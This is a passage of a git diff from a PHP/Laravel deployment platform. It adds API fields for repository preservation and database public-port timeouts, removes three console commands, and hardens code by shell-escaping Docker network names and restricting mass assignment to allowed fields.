stuck scheduled task executions: {$e->getMessage()}\n"; + echo " ERROR Could not clean up stuck scheduled task executions: {$e->getMessage()}\n"; } try { @@ -80,10 +80,10 @@ public function init() ]); if ($updatedBackupCount > 0) { - echo "Marked {$updatedBackupCount} stuck database backup executions as failed\n"; + echo " INFO Marked {$updatedBackupCount} stuck database backup executions as failed.\n"; } } catch (\Throwable $e) { - echo "Could not cleanup stuck database backup executions: {$e->getMessage()}\n"; + echo " ERROR Could not clean up stuck database backup executions: {$e->getMessage()}\n"; } CheckHelperImageJob::dispatch(); diff --git a/app/Console/Commands/Emails.php b/app/Console/Commands/Emails.php index 43ba06804..462155142 100644 --- a/app/Console/Commands/Emails.php +++ b/app/Console/Commands/Emails.php @@ -136,7 +136,7 @@ public function handle() $application = Application::all()->first(); $preview = ApplicationPreview::all()->first(); if (! $preview) { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 1, 'pull_request_html_url' => 'http://example.com', diff --git a/app/Console/Commands/Horizon.php b/app/Console/Commands/Horizon.php deleted file mode 100644 index d3e35ca5a..000000000 --- a/app/Console/Commands/Horizon.php +++ /dev/null @@ -1,23 +0,0 @@ -info('Horizon is enabled on this server.'); - $this->call('horizon'); - exit(0); - } else { - exit(0); - } - } -} diff --git a/app/Console/Commands/Init.php b/app/Console/Commands/Init.php index 66cb77838..e95c29f72 100644 --- a/app/Console/Commands/Init.php +++ b/app/Console/Commands/Init.php @@ -212,18 +212,19 @@ private function cleanupUnusedNetworkFromCoolifyProxy() $removeNetworks = $allNetworks->diff($networks); $commands = collect(); foreach ($removeNetworks as $network) { - $out = instant_remote_process(["docker network inspect -f json $network | jq '.[].Containers | if . == {} then null else . end'"], $server, false); + $safe = escapeshellarg($network); + $out = instant_remote_process(["docker network inspect -f json {$safe} | jq '.[].Containers | if . == {} then null else . end'"], $server, false); if (empty($out)) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } else { $data = collect(json_decode($out, true)); if ($data->count() === 1) { // If only coolify-proxy itself is connected to that network (it should not be possible, but who knows) $isCoolifyProxyItself = data_get($data->first(), 'Name') === 'coolify-proxy'; if ($isCoolifyProxyItself) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } } } diff --git a/app/Console/Commands/Nightwatch.php b/app/Console/Commands/Nightwatch.php deleted file mode 100644 index 40fd86a81..000000000 --- a/app/Console/Commands/Nightwatch.php +++ /dev/null @@ -1,22 +0,0 @@ -info('Nightwatch is enabled on this server.'); - $this->call('nightwatch:agent'); - } - - exit(0); - } -} diff --git a/app/Console/Commands/Scheduler.php b/app/Console/Commands/Scheduler.php deleted file mode 100644 index ee64368c3..000000000 --- a/app/Console/Commands/Scheduler.php +++ /dev/null @@ -1,23 +0,0 @@ -info('Scheduler is enabled on this server.'); - $this->call('schedule:work'); - exit(0); - } else { - exit(0); - } - } -} diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index ad1f50ea2..77f4e626f 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -230,6 +230,7 @@ public function applications(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -395,6 +396,7 @@ public function create_public_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -560,6 +562,7 @@ public function create_private_gh_app_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -1006,7 +1009,7 @@ private function create_application(Request $request, $type) if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1055,6 +1058,7 @@ private function create_application(Request $request, $type) $connectToDockerNetwork = $request->connect_to_docker_network; $customNginxConfiguration = $request->custom_nginx_configuration; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true); + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false); if (! is_null($customNginxConfiguration)) { if (! isBase64Encoded($customNginxConfiguration)) { @@ -1158,7 +1162,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { $dockerComposeDomains = collect($request->docker_compose_domains); @@ -1267,6 +1271,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } $application->refresh(); // Auto-generate domain if requested and no custom domain provided if ($autogenerateDomain && blank($fqdn)) { @@ -1385,7 +1393,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1499,6 +1507,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -1585,7 +1597,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1695,6 +1707,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -1772,7 +1788,7 @@ private function create_application(Request $request, $type) } $application = new Application; - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->ports_exposes = $port; $application->build_pack = 'dockerfile'; @@ -1884,7 +1900,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->build_pack = 'dockerimage'; $application->destination_id = $destination->id; @@ -2000,7 +2016,7 @@ private function create_application(Request $request, $type) $service = new Service; removeUnnecessaryFieldsFromRequest($request); - $service->fill($request->all()); + $service->fill($request->only($allowedFields)); $service->docker_compose_raw = $dockerComposeRaw; $service->environment_id = $environment->id; @@ -2390,6 +2406,7 @@ public function delete_by_uuid(Request $request) 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'description' => 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.'], ], ) ), @@ -2475,7 +2492,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2722,7 +2739,7 @@ public function update_by_uuid(Request $request) $connectToDockerNetwork = $request->connect_to_docker_network; $useBuildServer = $request->use_build_server; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled'); - + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled'); if (isset($useBuildServer)) { $application->settings->is_build_server_enabled = $useBuildServer; $application->settings->save(); @@ -2757,10 +2774,13 @@ public function update_by_uuid(Request $request) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } - + if ($request->has('is_preserve_repository_enabled')) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } removeUnnecessaryFieldsFromRequest($request); - $data = $request->all(); + $data = $request->only($allowedFields); if ($requestHasDomains && $server->isProxyShouldRun()) { data_set($data, 'fqdn', $domains); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 660ed4529..1b5cd0d44 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -264,6 +264,7 @@ public function database_by_uuid(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -327,7 +328,7 @@ public function database_by_uuid(Request $request) )] public function update_by_uuid(Request $request) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); @@ -344,6 +345,7 @@ public function update_by_uuid(Request $request) 'image' => 'string', 'is_public' => 'boolean', 'public_port' => 'numeric|nullable', + 'public_port_timeout' => 'integer|nullable|min:1', 'limits_memory' => 'string', 'limits_memory_swap' => 'string', 'limits_memory_swappiness' => 'numeric', @@ -375,7 +377,7 @@ public function update_by_uuid(Request $request) } switch ($database->type()) { case 'standalone-postgresql': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ 'postgres_user' => 'string', 'postgres_password' => 'string', @@ -406,20 +408,20 @@ public function update_by_uuid(Request $request) } break; case 'standalone-clickhouse': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', ]); break; case 'standalone-dragonfly': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ 'dragonfly_password' => 'string', ]); break; case 'standalone-redis': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ 'redis_password' => 'string', 'redis_conf' => 'string', @@ -446,7 +448,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-keydb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ 'keydb_password' => 'string', 'keydb_conf' => 'string', @@ -473,7 +475,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-mariadb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'mariadb_conf' => 'string', 'mariadb_root_password' => 'string', @@ -503,7 +505,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-mongodb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', 'mongo_initdb_root_username' => 'string', @@ -533,7 +535,7 @@ public function update_by_uuid(Request $request) break; case 'standalone-mysql': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ 'mysql_root_password' => 'string', 'mysql_password' => 'string', @@ -1068,6 +1070,7 @@ public function update_backup(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1135,6 +1138,7 @@ public function create_database_postgresql(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1201,6 +1205,7 @@ public function create_database_clickhouse(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1268,6 +1273,7 @@ public function create_database_dragonfly(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1335,6 +1341,7 @@ public function create_database_redis(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1405,6 +1412,7 @@ public function create_database_keydb(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1475,6 +1483,7 @@ public function create_database_mariadb(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 